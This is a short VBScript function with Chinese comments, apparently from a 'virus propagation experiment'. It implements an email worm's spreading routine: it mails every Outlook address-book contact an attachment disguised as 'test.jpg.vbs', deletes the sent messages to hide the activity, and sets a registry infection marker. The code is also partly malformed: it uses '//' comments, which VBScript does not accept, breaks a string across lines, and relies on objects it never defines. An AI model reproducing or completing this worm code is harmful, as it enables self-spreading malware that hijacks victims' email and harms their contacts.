Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application")
//创建一个OUTLOOK应用的对象
If outlookApp= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI")
//获取MAPI的名字空间
Set addrList= mapiObj.AddressLists
//获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count
//获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount
//遍历地址表的Email地址
Set item = outlookApp.CreateItem(0)
//获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex)
//获取具体Email地址
item.To = addrEnt.Address
//填入收信人地址
item.Subject = "病毒传播实验"
//写入邮件标题
item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!
" //写入文件内容
Set attachMents=item.Attachments //定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0)&"\test.jpg.vbs"
item.DeleteAfterSubmit = True
//信件提交后自动删除
If item.To <> "" Then
item.Send
//发送邮件
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1"
//病毒标记,以免重复感染
End If
Next
End If
Next
End if
End Function |